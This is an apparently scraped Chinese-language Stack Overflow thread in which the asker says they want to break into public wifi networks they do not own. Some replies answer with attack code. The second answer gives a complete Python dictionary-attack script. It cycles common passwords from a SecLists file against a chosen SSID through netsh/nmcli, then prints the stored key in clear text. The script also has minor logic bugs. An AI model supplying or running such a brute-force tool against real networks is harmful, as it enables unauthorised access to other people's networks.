【问题标题】:How to Brute Force a wifi Password with python?如何使用python暴力破解wifi密码?
【发布时间】:2020-08-27 15:27:29
【问题描述】:

当我在公共场合时,我想访问互联网,所以我一直在编写一个脚本来查找 wifi 密码。我发现了一种我不喜欢的方式,比如“字典攻击”。 我在网上找到了一个使用python连接wifi的脚本:

import os
import platform
import getpass

y = "y"
Y = "Y"
n = "n"
N = "N"
def createNewConnection(name, SSID, key):
    config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
    <name>"""+name+"""</name>
    <SSIDConfig>
        <SSID>
            <name>"""+SSID+"""</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>auto</connectionMode>
    <MSM>
        <security>
            <authEncryption>
                <authentication>WPA2PSK</authentication>
                <encryption>AES</encryption>
                <useOneX>false</useOneX>
            </authEncryption>
            <sharedKey>
                <keyType>passPhrase</keyType>
                <protected>false</protected>
                <keyMaterial>"""+key+"""</keyMaterial>
            </sharedKey>
        </security>
    </MSM>
</WLANProfile>"""
    if platform.system() == "Windows":
        command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
        with open(name+".xml", 'w') as file:
            file.write(config)
    elif platform.system() == "Linux":
        command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
    os.system(command)
    if platform.system() == "Windows":
        os.remove(name+".xml")

def connect(name, SSID):
    if platform.system() == "Windows":
        command = "netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi"
    elif platform.system() == "Linux":
        command = "nmcli con up "+SSID
    os.system(command)

def displayAvailableNetworks():
    if platform.system() == "Windows":
        command = "netsh wlan show networks interface=Wi-Fi"
    elif platform.system() == "Linux":
        command = "nmcli dev wifi list"
    os.system(command)

try:
    displayAvailableNetworks()
    option = input("New connection (y/N)? ")
    if option == n or option == N:
        name = input("Name: ")
        connect(name, name)
        print("If you aren't connected to this network, try connecting with correct credentials")
    elif option == y or option == Y:
        name = input("Name: ")
        key = getpass.getpass("Password: ")
        createNewConnection(name, name, key)
        connect(name, name)
        print("If you aren't connected to this network, try connecting with correct credentials")
except KeyboardInterrupt as e:
    print("\nExiting...")

您必须在此脚本中自己输入密码。
在这一行

key = getpass.getpass ("Password:")

我应该用脚本尝试搜索的变量切换“密码:”,直到它成功...
我找到了一个脚本来找到密码并完成它。唯一的问题是在这个脚本中程序知道密码的值。每次尝试,他都可以检查它是否与正确的密码匹配。

import itertools
import string

def guess_password(real):
    chars = string.ascii_lowercase + string.digits
    attempts = 0
    for password_length in range(8, 9):
        for guess in itertools.product(chars, repeat=password_length):
            attempts += 1
            guess = ''.join(guess)
            if guess == real:
                return 'password is {}. found in {} guesses.'.format(guess, attempts)
            print(guess, attempts)

print(guess_password('abc'))

我应该连接这两个脚本,但我不知道如何。我不清楚如何找到未知变量的值(密码)。
如果有人可以向我解释上述问题,我将非常高兴。我对这些东西不熟悉,它们对我来说不是最清楚的。谢谢回复

【问题讨论】:

  • 问题是你想访问不受欢迎的网络。

标签: python linux windows variables wifi


【解决方案1】:

我们认为并不总是正确的。已经上市的攻击工具使用完全不同的方法来攻击和获得访问权限。他们使用握手来将通行证与实际的密码匹配,这就是他们验证密码是否正确的方式。 您正在使用一种非常幼稚的方式,这几乎行不通。看看这个程序的复杂性,假设您尝试了 1000000 个不同的密钥。代码将永远运行。

研究更多了解握手解密。

【讨论】:

    【解决方案2】:

    我知道我迟到了,但我找到了另一种可以使用您的代码的方法。

    它会尝试我从 gihub https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt 获得的 .txt 文件中的常用密码

    这里是代码。

    import os
    import platform
    import time
    import requests
    
    
    url = "http://www.python.org"
    timeout = 5
    def createNewConnection(name, SSID, key):
        config = """<?xml version=\"1.0\"?>
    <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
        <name>"""+name+"""</name>
        <SSIDConfig>
            <SSID>
                <name>"""+SSID+"""</name>
            </SSID>
        </SSIDConfig>
        <connectionType>ESS</connectionType>
        <connectionMode>auto</connectionMode>
        <MSM>
            <security>
                <authEncryption>
                    <authentication>WPA2PSK</authentication>
                    <encryption>AES</encryption>
                    <useOneX>false</useOneX>
                </authEncryption>
                <sharedKey>
                    <keyType>passPhrase</keyType>
                    <protected>false</protected>
                    <keyMaterial>"""+key+"""</keyMaterial>
                </sharedKey>
            </security>
        </MSM>
    </WLANProfile>"""
        if platform.system() == "Windows":
            command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
            with open(name+".xml", 'w') as file:
                file.write(config)
        elif platform.system() == "Linux":
            command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
        os.system(command)
        if platform.system() == "Windows":
            os.remove(name+".xml")
    
    def connect(name, SSID):
        os.system("netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi")
    
    def displayAvailableNetworks():
           os.system("netsh wlan show networks interface=Wi-Fi")
    
    print("[LOADING] Searching if connected to any network")
    
    try:
        request = requests.get(url, timeout=timeout)
        print("[-] Please disconnect your internet for this operation to work, try again later"), exit()
        
    except (requests.ConnectionError, requests.Timeout) as exception:
        print("[LOADING] Loading program..."), time.sleep(1)
    
    connected = True
    while connected:
        try:
            displayAvailableNetworks()
            WIFI = input("WIFI Name: ")
            with open("Brute Force\passwords.txt", "r") as f:
                for line in f:
                    words = line.split()
                    if words:
                        print(f"Password: {words[0]}")
                        
                        createNewConnection(WIFI, WIFI, words[0])
                        connect(WIFI, WIFI)
    
                        try:
                            request = requests.get(url, timeout=timeout)
                            connected = False
                            choice = input(f"[+] The password might have been cracked, are you connected to {WIFI} (y/N) ? ")
                            if choice == "y":
                                print("\n[EXITING] Operation canceled")
                                exit()
                            elif choice == "n":
                                print("\n[-] Operation continues\n")
                            
                        except (requests.ConnectionError, requests.Timeout) as exception:
                            print("[LOADING] Loading program..."), time.sleep(1)
    
            print("[+] Operation complete")
            choice = input("See WIFI Information (y/N) ? ")
            if choice == "y" or "Y":
                print(f"[LOADING] Searching for {WIFI} network")
                time.sleep(1)
                os.system(f'netsh wlan show profile name="{WIFI}" key=clear')
                exit()
            elif choice == "n" or "N":
                print("\n[EXITING] Exiting program...")
                time.sleep(2)
                exit()
    
        except KeyboardInterrupt as e:
            print("\n[[EXITING] Aborting program...")
            exit()
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2017-12-13
      • 2011-09-14
      • 1970-01-01
      相关资源
      最近更新 更多